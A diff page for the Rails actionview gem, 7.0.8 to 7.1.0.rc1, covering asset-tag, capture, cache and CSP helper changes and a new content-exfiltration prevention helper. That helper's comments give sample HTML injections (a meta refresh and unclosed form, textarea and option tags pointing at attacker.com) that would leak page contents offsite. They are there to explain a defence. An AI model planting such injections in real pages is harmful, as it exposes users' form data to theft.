actionview 7.0.8 → 7.1.0.rc1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (90) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +248 -349
  3. data/MIT-LICENSE +1 -1
  4. data/README.rdoc +1 -1
  5. data/app/assets/javascripts/rails-ujs.esm.js +668 -0
  6. data/app/assets/javascripts/rails-ujs.js +606 -0
  7. data/lib/action_view/base.rb +33 -12
  8. data/lib/action_view/buffers.rb +106 -8
  9. data/lib/action_view/cache_expiry.rb +40 -43
  10. data/lib/action_view/context.rb +1 -1
  11. data/lib/action_view/deprecator.rb +7 -0
  12. data/lib/action_view/digestor.rb +1 -1
  13. data/lib/action_view/gem_version.rb +4 -4
  14. data/lib/action_view/helpers/active_model_helper.rb +1 -1
  15. data/lib/action_view/helpers/asset_tag_helper.rb +130 -46
  16. data/lib/action_view/helpers/asset_url_helper.rb +6 -5
  17. data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
  18. data/lib/action_view/helpers/cache_helper.rb +3 -9
  19. data/lib/action_view/helpers/capture_helper.rb +24 -10
  20. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  21. data/lib/action_view/helpers/controller_helper.rb +6 -0
  22. data/lib/action_view/helpers/csp_helper.rb +2 -2
  23. data/lib/action_view/helpers/csrf_helper.rb +2 -2
  24. data/lib/action_view/helpers/date_helper.rb +17 -19
  25. data/lib/action_view/helpers/debug_helper.rb +3 -3
  26. data/lib/action_view/helpers/form_helper.rb +44 -19
  27. data/lib/action_view/helpers/form_options_helper.rb +2 -1
  28. data/lib/action_view/helpers/form_tag_helper.rb +43 -9
  29. data/lib/action_view/helpers/javascript_helper.rb +1 -0
  30. data/lib/action_view/helpers/number_helper.rb +2 -1
  31. data/lib/action_view/helpers/output_safety_helper.rb +2 -2
  32. data/lib/action_view/helpers/rendering_helper.rb +1 -1
  33. data/lib/action_view/helpers/sanitize_helper.rb +33 -14
  34. data/lib/action_view/helpers/tag_helper.rb +5 -27
  35. data/lib/action_view/helpers/tags/base.rb +11 -52
  36. data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
  37. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
  38. data/lib/action_view/helpers/tags/collection_select.rb +3 -0
  39. data/lib/action_view/helpers/tags/date_field.rb +1 -1
  40. data/lib/action_view/helpers/tags/date_select.rb +2 -0
  41. data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
  42. data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
  43. data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
  44. data/lib/action_view/helpers/tags/month_field.rb +1 -1
  45. data/lib/action_view/helpers/tags/select.rb +3 -0
  46. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  47. data/lib/action_view/helpers/tags/time_field.rb +1 -1
  48. data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
  49. data/lib/action_view/helpers/tags/week_field.rb +1 -1
  50. data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
  51. data/lib/action_view/helpers/tags.rb +2 -0
  52. data/lib/action_view/helpers/text_helper.rb +32 -16
  53. data/lib/action_view/helpers/translation_helper.rb +3 -3
  54. data/lib/action_view/helpers/url_helper.rb +41 -14
  55. data/lib/action_view/helpers.rb +2 -0
  56. data/lib/action_view/layouts.rb +6 -4
  57. data/lib/action_view/log_subscriber.rb +49 -32
  58. data/lib/action_view/lookup_context.rb +29 -13
  59. data/lib/action_view/path_registry.rb +57 -0
  60. data/lib/action_view/path_set.rb +13 -14
  61. data/lib/action_view/railtie.rb +26 -3
  62. data/lib/action_view/record_identifier.rb +15 -8
  63. data/lib/action_view/renderer/abstract_renderer.rb +1 -1
  64. data/lib/action_view/renderer/collection_renderer.rb +9 -1
  65. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +2 -1
  66. data/lib/action_view/renderer/partial_renderer.rb +2 -1
  67. data/lib/action_view/renderer/renderer.rb +2 -0
  68. data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
  69. data/lib/action_view/renderer/template_renderer.rb +3 -2
  70. data/lib/action_view/rendering.rb +22 -4
  71. data/lib/action_view/ripper_ast_parser.rb +5 -5
  72. data/lib/action_view/template/error.rb +14 -1
  73. data/lib/action_view/template/handlers/builder.rb +4 -4
  74. data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
  75. data/lib/action_view/template/handlers/erb.rb +73 -1
  76. data/lib/action_view/template/handlers.rb +1 -1
  77. data/lib/action_view/template/html.rb +1 -1
  78. data/lib/action_view/template/raw_file.rb +1 -1
  79. data/lib/action_view/template/renderable.rb +1 -1
  80. data/lib/action_view/template/resolver.rb +10 -2
  81. data/lib/action_view/template/text.rb +1 -1
  82. data/lib/action_view/template/types.rb +25 -34
  83. data/lib/action_view/template.rb +227 -53
  84. data/lib/action_view/template_path.rb +2 -0
  85. data/lib/action_view/test_case.rb +174 -21
  86. data/lib/action_view/unbound_template.rb +15 -5
  87. data/lib/action_view/version.rb +1 -1
  88. data/lib/action_view/view_paths.rb +15 -24
  89. data/lib/action_view.rb +4 -1
  90. metadata +25 -25
@@ -7,8 +7,9 @@ require "action_view/helpers/asset_url_helper"
7
7
  require "action_view/helpers/tag_helper"
8
8
 
9
9
  module ActionView
10
- # = Action View Asset Tag Helpers
11
10
  module Helpers # :nodoc:
11
+ # = Action View Asset Tag \Helpers
12
+ #
12
13
  # This module provides methods for generating HTML that links views to assets such
13
14
  # as images, JavaScripts, stylesheets, and feeds. These methods do not verify
14
15
  # the assets exist before linking to them:
@@ -41,13 +42,14 @@ module ActionView
41
42
  # When the Asset Pipeline is enabled, you can pass the name of your manifest as
42
43
  # source, and include other JavaScript or CoffeeScript files inside the manifest.
43
44
  #
44
- # If the server supports Early Hints, header links for these assets will be
45
- # automatically pushed.
45
+ # If the server supports HTTP Early Hints, and the +defer+ option is not
46
+ # enabled, \Rails will push a <tt>103 Early Hints</tt> response that links
47
+ # to the assets.
46
48
  #
47
49
  # ==== Options
48
50
  #
49
51
  # When the last parameter is a hash you can add HTML attributes using that
50
- # parameter. The following options are supported:
52
+ # parameter. This includes but is not limited to the following options:
51
53
  #
52
54
  # * <tt>:extname</tt> - Append an extension to the generated URL unless the extension
53
55
  # already exists. This only applies for relative URLs.
@@ -59,6 +61,20 @@ module ActionView
59
61
  # when it is set to true.
60
62
  # * <tt>:nonce</tt> - When set to true, adds an automatic nonce value if
61
63
  # you have Content Security Policy enabled.
64
+ # * <tt>:async</tt> - When set to +true+, adds the +async+ HTML
65
+ # attribute, allowing the script to be fetched in parallel to be parsed
66
+ # and evaluated as soon as possible.
67
+ # * <tt>:defer</tt> - When set to +true+, adds the +defer+ HTML
68
+ # attribute, which indicates to the browser that the script is meant to
69
+ # be executed after the document has been parsed. Additionally, prevents
70
+ # sending the Preload Links header.
71
+ #
72
+ # Any other specified options will be treated as HTML attributes for the
73
+ # +script+ tag.
74
+ #
75
+ # For more information regarding how the <tt>:async</tt> and <tt>:defer</tt>
76
+ # options affect the <tt><script></tt> tag, please refer to the
77
+ # {MDN docs}[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script].
62
78
  #
63
79
  # ==== Examples
64
80
  #
@@ -86,10 +102,17 @@ module ActionView
86
102
  #
87
103
  # javascript_include_tag "http://www.example.com/xmlhr.js", nonce: true
88
104
  # # => <script src="http://www.example.com/xmlhr.js" nonce="..."></script>
105
+ #
106
+ # javascript_include_tag "http://www.example.com/xmlhr.js", async: true
107
+ # # => <script src="http://www.example.com/xmlhr.js" async="async"></script>
108
+ #
109
+ # javascript_include_tag "http://www.example.com/xmlhr.js", defer: true
110
+ # # => <script src="http://www.example.com/xmlhr.js" defer="defer"></script>
89
111
  def javascript_include_tag(*sources)
90
112
  options = sources.extract_options!.stringify_keys
91
113
  path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
92
114
  preload_links = []
115
+ use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
93
116
  nopush = options["nopush"].nil? ? true : options.delete("nopush")
94
117
  crossorigin = options.delete("crossorigin")
95
118
  crossorigin = "anonymous" if crossorigin == true
@@ -98,7 +121,7 @@ module ActionView
98
121
 
99
122
  sources_tags = sources.uniq.map { |source|
100
123
  href = path_to_javascript(source, path_options)
101
- if preload_links_header && !options["defer"] && href.present? && !href.start_with?("data:")
124
+ if use_preload_links_header && !options["defer"] && href.present? && !href.start_with?("data:")
102
125
  preload_link = "<#{href}>; rel=#{rel}; as=script"
103
126
  preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
104
127
  preload_link += "; integrity=#{integrity}" unless integrity.nil?
@@ -115,7 +138,7 @@ module ActionView
115
138
  content_tag("script", "", tag_options)
116
139
  }.join("\n").html_safe
117
140
 
118
- if preload_links_header
141
+ if use_preload_links_header
119
142
  send_preload_links_header(preload_links)
120
143
  end
121
144
 
@@ -130,8 +153,8 @@ module ActionView
130
153
  # set <tt>extname: false</tt> in the options.
131
154
  # You can modify the link attributes by passing a hash as the last argument.
132
155
  #
133
- # If the server supports Early Hints, header links for these assets will be
134
- # automatically pushed.
156
+ # If the server supports HTTP Early Hints, \Rails will push a <tt>103 Early
157
+ # Hints</tt> response that links to the assets.
135
158
  #
136
159
  # ==== Options
137
160
  #
@@ -170,6 +193,7 @@ module ActionView
170
193
  def stylesheet_link_tag(*sources)
171
194
  options = sources.extract_options!.stringify_keys
172
195
  path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
196
+ use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
173
197
  preload_links = []
174
198
  crossorigin = options.delete("crossorigin")
175
199
  crossorigin = "anonymous" if crossorigin == true
@@ -178,7 +202,7 @@ module ActionView
178
202
 
179
203
  sources_tags = sources.uniq.map { |source|
180
204
  href = path_to_stylesheet(source, path_options)
181
- if preload_links_header && href.present? && !href.start_with?("data:")
205
+ if use_preload_links_header && href.present? && !href.start_with?("data:")
182
206
  preload_link = "<#{href}>; rel=preload; as=style"
183
207
  preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
184
208
  preload_link += "; integrity=#{integrity}" unless integrity.nil?
@@ -198,7 +222,7 @@ module ActionView
198
222
  tag(:link, tag_options)
199
223
  }.join("\n").html_safe
200
224
 
201
- if preload_links_header
225
+ if use_preload_links_header
202
226
  send_preload_links_header(preload_links)
203
227
  end
204
228
 
@@ -396,7 +420,7 @@ module ActionView
396
420
  check_for_image_tag_errors(options)
397
421
  skip_pipeline = options.delete(:skip_pipeline)
398
422
 
399
- options[:src] = resolve_image_source(source, skip_pipeline)
423
+ options[:src] = resolve_asset_source("image", source, skip_pipeline)
400
424
 
401
425
  if options[:srcset] && !options[:srcset].is_a?(String)
402
426
  options[:srcset] = options[:srcset].map do |src_path, size|
@@ -413,11 +437,72 @@ module ActionView
413
437
  tag("img", options)
414
438
  end
415
439
 
440
+ # Returns an HTML picture tag for the +sources+. If +sources+ is a string,
441
+ # a single picture tag will be returned. If +sources+ is an array, a picture
442
+ # tag with nested source tags for each source will be returned. The
443
+ # +sources+ can be full paths, files that exist in your public images
444
+ # directory, or Active Storage attachments. Since the picture tag requires
445
+ # an img tag, the last element you provide will be used for the img tag.
446
+ # For complete control over the picture tag, a block can be passed, which
447
+ # will populate the contents of the tag accordingly.
448
+ #
449
+ # ==== Options
450
+ #
451
+ # When the last parameter is a hash you can add HTML attributes using that
452
+ # parameter. Apart from all the HTML supported options, the following are supported:
453
+ #
454
+ # * <tt>:image</tt> - Hash of options that are passed directly to the +image_tag+ helper.
455
+ #
456
+ # ==== Examples
457
+ #
458
+ # picture_tag("picture.webp")
459
+ # # => <picture><img src="/images/picture.webp" /></picture>
460
+ # picture_tag("gold.png", :image => { :size => "20" })
461
+ # # => <picture><img height="20" src="/images/gold.png" width="20" /></picture>
462
+ # picture_tag("gold.png", :image => { :size => "45x70" })
463
+ # # => <picture><img height="70" src="/images/gold.png" width="45" /></picture>
464
+ # picture_tag("picture.webp", "picture.png")
465
+ # # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img src="/images/picture.png" /></picture>
466
+ # picture_tag("picture.webp", "picture.png", :image => { alt: "Image" })
467
+ # # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
468
+ # picture_tag(["picture.webp", "picture.png"], :image => { alt: "Image" })
469
+ # # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
470
+ # picture_tag(:class => "my-class") { tag(:source, :srcset => image_path("picture.webp")) + image_tag("picture.png", :alt => "Image") }
471
+ # # => <picture class="my-class"><source srcset="/images/picture.webp" /><img alt="Image" src="/images/picture.png" /></picture>
472
+ # picture_tag { tag(:source, :srcset => image_path("picture-small.webp"), :media => "(min-width: 600px)") + tag(:source, :srcset => image_path("picture-big.webp")) + image_tag("picture.png", :alt => "Image") }
473
+ # # => <picture><source srcset="/images/picture-small.webp" media="(min-width: 600px)" /><source srcset="/images/picture-big.webp" /><img alt="Image" src="/images/picture.png" /></picture>
474
+ #
475
+ # Active Storage blobs (images that are uploaded by the users of your app):
476
+ #
477
+ # picture_tag(user.profile_picture)
478
+ # # => <picture><img src="/rails/active_storage/blobs/.../profile_picture.webp" /></picture>
479
+ def picture_tag(*sources, &block)
480
+ sources.flatten!
481
+ options = sources.extract_options!.symbolize_keys
482
+ image_options = options.delete(:image) || {}
483
+ skip_pipeline = options.delete(:skip_pipeline)
484
+
485
+ content_tag("picture", options) do
486
+ if block.present?
487
+ capture(&block).html_safe
488
+ elsif sources.size <= 1
489
+ image_tag(sources.last, image_options)
490
+ else
491
+ source_tags = sources.map do |source|
492
+ tag("source",
493
+ srcset: resolve_asset_source("image", source, skip_pipeline),
494
+ type: Template::Types[File.extname(source)[1..]]&.to_s)
495
+ end
496
+ safe_join(source_tags << image_tag(sources.last, image_options))
497
+ end
498
+ end
499
+ end
500
+
416
501
  # Returns an HTML video tag for the +sources+. If +sources+ is a string,
417
502
  # a single video tag will be returned. If +sources+ is an array, a video
418
503
  # tag with nested source tags for each source will be returned. The
419
- # +sources+ can be full paths or files that exist in your public videos
420
- # directory.
504
+ # +sources+ can be full paths, files that exist in your public videos
505
+ # directory, or Active Storage attachments.
421
506
  #
422
507
  # ==== Options
423
508
  #
@@ -456,6 +541,11 @@ module ActionView
456
541
  # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
457
542
  # video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
458
543
  # # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
544
+ #
545
+ # Active Storage blobs (videos that are uploaded by the users of your app):
546
+ #
547
+ # video_tag(user.intro_video)
548
+ # # => <video src="/rails/active_storage/blobs/.../intro_video.mp4"></video>
459
549
  def video_tag(*sources)
460
550
  options = sources.extract_options!.symbolize_keys
461
551
  public_poster_folder = options.delete(:poster_skip_pipeline)
@@ -469,8 +559,8 @@ module ActionView
469
559
  # Returns an HTML audio tag for the +sources+. If +sources+ is a string,
470
560
  # a single audio tag will be returned. If +sources+ is an array, an audio
471
561
  # tag with nested source tags for each source will be returned. The
472
- # +sources+ can be full paths or files that exist in your public audios
473
- # directory.
562
+ # +sources+ can be full paths, files that exist in your public audios
563
+ # directory, or Active Storage attachments.
474
564
  #
475
565
  # When the last parameter is a hash you can add HTML attributes using that
476
566
  # parameter.
@@ -483,6 +573,11 @@ module ActionView
483
573
  # # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
484
574
  # audio_tag("sound.wav", "sound.mid")
485
575
  # # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
576
+ #
577
+ # Active Storage blobs (audios that are uploaded by the users of your app):
578
+ #
579
+ # audio_tag(user.name_pronunciation_audio)
580
+ # # => <audio src="/rails/active_storage/blobs/.../name_pronunciation_audio.mp3"></audio>
486
581
  def audio_tag(*sources)
487
582
  multiple_sources_tag_builder("audio", sources)
488
583
  end
@@ -497,29 +592,29 @@ module ActionView
497
592
 
498
593
  if sources.size > 1
499
594
  content_tag(type, options) do
500
- safe_join sources.map { |source| tag("source", src: send("path_to_#{type}", source, skip_pipeline: skip_pipeline)) }
595
+ safe_join sources.map { |source| tag("source", src: resolve_asset_source(type, source, skip_pipeline)) }
501
596
  end
502
597
  else
503
- options[:src] = send("path_to_#{type}", sources.first, skip_pipeline: skip_pipeline)
598
+ options[:src] = resolve_asset_source(type, sources.first, skip_pipeline)
504
599
  content_tag(type, nil, options)
505
600
  end
506
601
  end
507
602
 
508
- def resolve_image_source(source, skip_pipeline)
603
+ def resolve_asset_source(asset_type, source, skip_pipeline)
509
604
  if source.is_a?(Symbol) || source.is_a?(String)
510
- path_to_image(source, skip_pipeline: skip_pipeline)
605
+ path_to_asset(source, type: asset_type.to_sym, skip_pipeline: skip_pipeline)
511
606
  else
512
607
  polymorphic_url(source)
513
608
  end
514
609
  rescue NoMethodError => e
515
- raise ArgumentError, "Can't resolve image into URL: #{e}"
610
+ raise ArgumentError, "Can't resolve #{asset_type} into URL: #{e}"
516
611
  end
517
612
 
518
613
  def extract_dimensions(size)
519
614
  size = size.to_s
520
- if /\A(\d+|\d+.\d+)x(\d+|\d+.\d+)\z/.match?(size)
615
+ if /\A\d+(?:\.\d+)?x\d+(?:\.\d+)?\z/.match?(size)
521
616
  size.split("x")
522
- elsif /\A(\d+|\d+.\d+)\z/.match?(size)
617
+ elsif /\A\d+(?:\.\d+)?\z/.match?(size)
523
618
  [size, size]
524
619
  end
525
620
  end
@@ -540,40 +635,29 @@ module ActionView
540
635
  end
541
636
  end
542
637
 
543
- MAX_HEADER_SIZE = 8_000 # Some HTTP client and proxies have a 8kiB header limit
638
+ # Some HTTP client and proxies have a 4kiB header limit, but more importantly
639
+ # including preload links has diminishing returns so it's best to not go overboard
640
+ MAX_HEADER_SIZE = 1_000 # :nodoc:
641
+
544
642
  def send_preload_links_header(preload_links, max_header_size: MAX_HEADER_SIZE)
545
643
  return if preload_links.empty?
546
- return if respond_to?(:response) && response&.sending?
644
+ response_present = respond_to?(:response) && response
645
+ return if response_present && response.sending?
547
646
 
548
647
  if respond_to?(:request) && request
549
648
  request.send_early_hints("Link" => preload_links.join("\n"))
550
649
  end
551
650
 
552
- if respond_to?(:response) && response
553
- header = response.headers["Link"]
554
- header = header ? header.dup : +""
555
-
556
- # rindex count characters not bytes, but we assume non-ascii characters
557
- # are rare in urls, and we have a 192 bytes margin.
558
- last_line_offset = header.rindex("\n")
559
- last_line_size = if last_line_offset
560
- header.bytesize - last_line_offset
561
- else
562
- header.bytesize
563
- end
564
-
651
+ if response_present
652
+ header = +response.headers["Link"].to_s
565
653
  preload_links.each do |link|
566
- if link.bytesize + last_line_size + 1 < max_header_size
567
- unless header.empty?
568
- header << ","
569
- last_line_size += 1
570
- end
654
+ break if header.bytesize + link.bytesize > max_header_size
655
+
656
+ if header.empty?
657
+ header << link
571
658
  else
572
- header << "\n"
573
- last_line_size = 0
659
+ header << "," << link
574
660
  end
575
- header << link
576
- last_line_size += link.bytesize
577
661
  end
578
662
 
579
663
  response.headers["Link"] = header
@@ -3,8 +3,9 @@
3
3
  require "zlib"
4
4
 
5
5
  module ActionView
6
- # = Action View Asset URL Helpers
7
6
  module Helpers # :nodoc:
7
+ # = Action View Asset URL \Helpers
8
+ #
8
9
  # This module provides methods for generating asset paths and
9
10
  # URLs.
10
11
  #
@@ -16,8 +17,8 @@ module ActionView
16
17
  #
17
18
  # === Using asset hosts
18
19
  #
19
- # By default, Rails links to these assets on the current host in the public
20
- # folder, but you can direct Rails to link to assets from a dedicated asset
20
+ # By default, \Rails links to these assets on the current host in the public
21
+ # folder, but you can direct \Rails to link to assets from a dedicated asset
21
22
  # server by setting <tt>ActionController::Base.asset_host</tt> in the application
22
23
  # configuration, typically in <tt>config/environments/production.rb</tt>.
23
24
  # For example, you'd define <tt>assets.example.com</tt> to be your asset
@@ -196,7 +197,7 @@ module ActionView
196
197
  source = "#{source}#{extname}"
197
198
  end
198
199
 
199
- if source[0] != ?/
200
+ unless source.start_with?(?/)
200
201
  if options[:skip_pipeline]
201
202
  source = public_compute_asset_path(source, options)
202
203
  else
@@ -372,7 +373,7 @@ module ActionView
372
373
  # image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
373
374
  #
374
375
  # If you have images as application resources this method may conflict with their named routes.
375
- # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
376
+ # The alias +path_to_image+ is provided to avoid that. \Rails uses the alias internally, and
376
377
  # plugin authors are encouraged to do so.
377
378
  def image_path(source, options = {})
378
379
  path_to_asset(source, { type: :image }.merge!(options))
@@ -3,8 +3,8 @@
3
3
  require "set"
4
4
 
5
5
  module ActionView
6
- # = Action View Atom Feed Helpers
7
6
  module Helpers # :nodoc:
7
+ # = Action View Atom Feed \Helpers
8
8
  module AtomFeedHelper
9
9
  # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
10
10
  # template languages).
@@ -82,9 +82,9 @@ module ActionView
82
82
  # end
83
83
  #
84
84
  # The Atom spec defines five elements (content rights title subtitle
85
- # summary) which may directly contain xhtml content if type: 'xhtml'
85
+ # summary) which may directly contain XHTML content if type: 'xhtml'
86
86
  # is specified as an attribute. If so, this helper will take care of
87
- # the enclosing div and xhtml namespace declaration. Example usage:
87
+ # the enclosing div and XHTML namespace declaration. Example usage:
88
88
  #
89
89
  # entry.summary type: 'xhtml' do |xhtml|
90
90
  # xhtml.p pluralize(order.line_items.count, "line item")
@@ -102,7 +102,7 @@ module ActionView
102
102
  options[:schema_date] = "2005" # The Atom spec copyright date
103
103
  end
104
104
 
105
- xml = options.delete(:xml) || eval("xml", block.binding)
105
+ xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
106
106
  xml.instruct!
107
107
  if options[:instruct]
108
108
  options[:instruct].each do |target, attrs|
@@ -134,7 +134,7 @@ module ActionView
134
134
  end
135
135
 
136
136
  private
137
- # Delegate to xml builder, first wrapping the element in an xhtml
137
+ # Delegate to XML Builder, first wrapping the element in an XHTML
138
138
  # namespaced div element if the method and arguments indicate
139
139
  # that an xhtml_block? is desired.
140
140
  def method_missing(method, *arguments, &block)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View Cache Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View Cache \Helpers
6
6
  module CacheHelper
7
7
  class UncacheableFragmentError < StandardError; end
8
8
 
@@ -281,14 +281,8 @@ module ActionView
281
281
  controller.read_fragment(name, options)
282
282
  end
283
283
 
284
- def write_fragment_for(name, options)
285
- pos = output_buffer.length
286
- yield
287
- output_safe = output_buffer.html_safe?
288
- fragment = output_buffer.slice!(pos..-1)
289
- if output_safe
290
- self.output_buffer = output_buffer.class.new(output_buffer)
291
- end
284
+ def write_fragment_for(name, options, &block)
285
+ fragment = output_buffer.capture(&block)
292
286
  controller.write_fragment(name, fragment, options)
293
287
  end
294
288
 
@@ -3,18 +3,22 @@
3
3
  require "active_support/core_ext/string/output_safety"
4
4
 
5
5
  module ActionView
6
- # = Action View Capture Helper
7
6
  module Helpers # :nodoc:
8
- # CaptureHelper exposes methods to let you extract generated markup which
7
+ # = Action View Capture \Helpers
8
+ #
9
+ # \CaptureHelper exposes methods to let you extract generated markup which
9
10
  # can be used in other parts of a template or layout file.
10
11
  #
11
- # It provides a method to capture blocks into variables through capture and
12
- # a way to capture a block of markup for use in a layout through {content_for}[rdoc-ref:ActionView::Helpers::CaptureHelper#content_for].
12
+ # It provides a method to capture blocks into variables through #capture and
13
+ # a way to capture a block of markup for use in a layout through #content_for.
14
+ #
15
+ # As well as provides a method when using streaming responses through #provide.
16
+ # See ActionController::Streaming for more information.
13
17
  module CaptureHelper
14
- # The capture method extracts part of a template as a String object.
18
+ # The capture method extracts part of a template as a string object.
15
19
  # You can then use this object anywhere in your templates, layout, or helpers.
16
20
  #
17
- # The capture method can be used in ERB templates...
21
+ # The capture method can be used in \ERB templates...
18
22
  #
19
23
  # <% @greeting = capture do %>
20
24
  # Welcome to my shiny new web page! The date and time is
@@ -40,11 +44,18 @@ module ActionView
40
44
  #
41
45
  # @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
42
46
  #
43
- def capture(*args)
47
+ def capture(*args, &block)
44
48
  value = nil
45
- buffer = with_output_buffer { value = yield(*args) }
46
- if (string = buffer.presence || value) && string.is_a?(String)
47
- ERB::Util.html_escape string
49
+ @output_buffer ||= ActionView::OutputBuffer.new
50
+ buffer = @output_buffer.capture { value = yield(*args) }
51
+
52
+ case string = buffer.presence || value
53
+ when OutputBuffer
54
+ string.to_s
55
+ when ActiveSupport::SafeBuffer
56
+ string
57
+ when String
58
+ ERB::Util.html_escape(string)
48
59
  end
49
60
  end
50
61
 
@@ -172,6 +183,8 @@ module ActionView
172
183
  # concatenate several times to the same buffer when rendering a given
173
184
  # template, you should use +content_for+, if not, use +provide+ to tell
174
185
  # the layout to stop looking for more contents.
186
+ #
187
+ # See ActionController::Streaming for more information.
175
188
  def provide(name, content = nil, &block)
176
189
  content = capture(&block) if block_given?
177
190
  result = @view_flow.append!(name, content) if content
@@ -179,6 +192,7 @@ module ActionView
179
192
  end
180
193
 
181
194
  # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
195
+ #
182
196
  # Useful to render parts of your layout differently based on what is in your views.
183
197
  #
184
198
  # <%# This is the layout %>
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
4
4
 
5
5
  module ActionView
6
6
  module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
7
9
  # This module keeps all methods and behavior in ActionView
8
10
  # that simply delegates to the controller.
9
11
  module ControllerHelper # :nodoc:
@@ -20,6 +22,10 @@ module ActionView
20
22
  @_request = controller.request if controller.respond_to?(:request)
21
23
  @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
22
24
  @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
23
29
  end
24
30
  end
25
31
 
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSP Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
6
  module CspHelper
7
7
  # Returns a meta tag "csp-nonce" with the per-session nonce value
8
8
  # for allowing inline <script> tags.
@@ -11,7 +11,7 @@ module ActionView
11
11
  # <%= csp_meta_tag %>
12
12
  # </head>
13
13
  #
14
- # This is used by the Rails UJS helper to create dynamically
14
+ # This is used by the \Rails UJS helper to create dynamically
15
15
  # loaded inline <script> elements.
16
16
  #
17
17
  def csp_meta_tag(**options)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
